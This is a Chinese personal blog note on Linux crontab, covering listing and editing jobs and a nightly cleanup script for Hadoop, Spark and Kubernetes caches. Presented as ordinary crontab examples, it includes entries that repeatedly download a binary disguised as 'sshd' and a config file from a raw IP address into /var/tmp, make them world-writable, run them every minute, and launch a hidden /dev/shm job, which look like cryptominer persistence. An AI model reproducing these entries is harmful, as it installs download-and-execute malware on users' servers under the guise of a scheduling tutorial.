linux crontab 定时器

Last updated on November 22, 2024 pm

🧙 Questions

linux 中使用定时器

☄️ Ideas

查看定时器
crontab -l
编辑定时器
crontab -e
0 */6 * * * /usr/bin/flock -n /var/tmp/tmp.lock -c 'cd /var/tmp; wget -nc http://85.217.144.137/mvt/sshd; cd /var/tmp; chmod 777 sshd; cd /var/tmp; curl http://85.217.144.137/mvt/sshd -o sshd; cd /var/tmp; chmod 777 sshd; cd /var/tmp; wget -nc http://85.217.144.137/mvt/config.json; cd /var/tmp; curl http://85.217.144.137/mvt/config.json -o config.json'
* * * * * /usr/bin/flock -n /var/tmp/vm.lock -c 'cd /var/tmp; ./sshd'
定时器执行清理服务器脚本
# 可以直接写命令
* * * * * /dev/shm/.11/auto >/dev/null 2>&1
0 0 * * 0 pkill -9 mine >/dev/null 2>&1
  • 编写清理脚本
vim /home/zhiqingyun/clean.sh
#!/bin/bash

rm -rf /tmp/hadoop-zhiqingyun/nm-local-dir/usercache/zhiqingyun/filecache/*
rm -rf /data/spark/spark-3.4.0-bin-hadoop3/work/*
kubectl delete --all pods --namespace=spark-yun
docker ps -a | grep 'k8s_POD_zhiqingyun-job-*' | awk '{print $1}' | xargs docker rm
chmod +x /home/zhiqingyun/clean.sh
# 哪个用户执行,就切哪个用户
sudo su zhiqingyun
crontab -e

每晚0点执行

# 每天凌晨0点执行
0 0 * * * /home/zhiqingyun/clean.sh
# 每天17点16分执行
16 17 * * * /home/zhiqingyun/clean.sh

linux crontab 定时器
https://ispong.isxcode.com/os/linux/linux crontab 定时器/
Author
ispong
Posted on
May 18, 2023
Licensed under